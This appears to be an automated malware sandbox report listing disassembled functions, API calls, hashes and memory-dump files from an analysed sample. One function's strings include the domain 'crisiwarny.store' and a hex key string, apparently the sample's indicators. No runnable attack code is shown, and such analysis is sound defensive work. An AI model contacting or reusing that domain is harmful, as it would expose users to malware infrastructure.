Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 008B4C40 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

@, xrefs: 008B4CA9

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: b2dec5dd3f901841fb05172efd4bf4ac5086a5494decfa27e6a7de0dd47b150a
Instruction ID: 11839ac0482d97ecd58b2929de563868a6efbf83fa72dca5c9d165986ee82c70
Opcode Fuzzy Hash: b2dec5dd3f901841fb05172efd4bf4ac5086a5494decfa27e6a7de0dd47b150a
Instruction Fuzzy Hash: DA3105715083049BD318DF68D8D26AFBBF5FBD5314F18992CE69587381D3349848CB52

Function 0089AB20 Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 63b946340cae88d4391a4fff09ff913fb8b69a828dd9cef6d79aa9a04c49276d
Instruction ID: 4a7da5f6c367178fb7ed829439139588291f6c0fd83f4353aa126f0d00ad37ea
Opcode Fuzzy Hash: 63b946340cae88d4391a4fff09ff913fb8b69a828dd9cef6d79aa9a04c49276d
Instruction Fuzzy Hash: 5BD15B727483444BDF18AE2888816AB77E2FF95318F1C852CE895CB396E634DD0697C3

Function 00880CA0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00880CB2

Strings

tO, xrefs: 00880E55
Mz, xrefs: 00880E63
crisiwarny.store, xrefs: 00880FA4
61471D60A75CBA4AD36A30054881336C, xrefs: 00880CC8

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID: InitializeSecurity
String ID: 61471D60A75CBA4AD36A30054881336C$Mz$crisiwarny.store$tO
API String ID: 640775948-1309824500
Opcode ID: edbdbb37440af08fdf943804514870eb9514a8359b47b29373624b61682366b1
Instruction ID: 956a17b2b4a5700314aee977a340447bc6ed8b67d31bbef44f42050e15468dd9
Opcode Fuzzy Hash: edbdbb37440af08fdf943804514870eb9514a8359b47b29373624b61682366b1
Instruction Fuzzy Hash: BCA1E0B05047818FE325CF29C890766BBA1FF56304F198A9CC0E68BB56D775E886CF91

Function 00880B90 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 00880C8C

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: eeef2d562a8f59caf4d07368ae44911a930ed45c99972004bc0fc0e22f1be195
Instruction ID: e6aee7b13937f5ad40409773102962b93666c678839c75d09924f98ea89be716
Opcode Fuzzy Hash: eeef2d562a8f59caf4d07368ae44911a930ed45c99972004bc0fc0e22f1be195
Instruction Fuzzy Hash: 9031CCB5D10B40ABD770BA3D9A0B6177EB4A705660F40472DFCE69A6C4F230A4298BD7

Function 0088B1AC Relevance: 1.5, APIs: 1, Instructions: 36processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE ref: 0088B230

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7970d625c2edad7a622ba507e5d8219aba96a2455cd08a52299e9ab6949f34c3
Instruction ID: fa8a6974786b4ea5cba4561e4df431a3f4fa8444b7d183b7683d586dc58981f7
Opcode Fuzzy Hash: 7970d625c2edad7a622ba507e5d8219aba96a2455cd08a52299e9ab6949f34c3
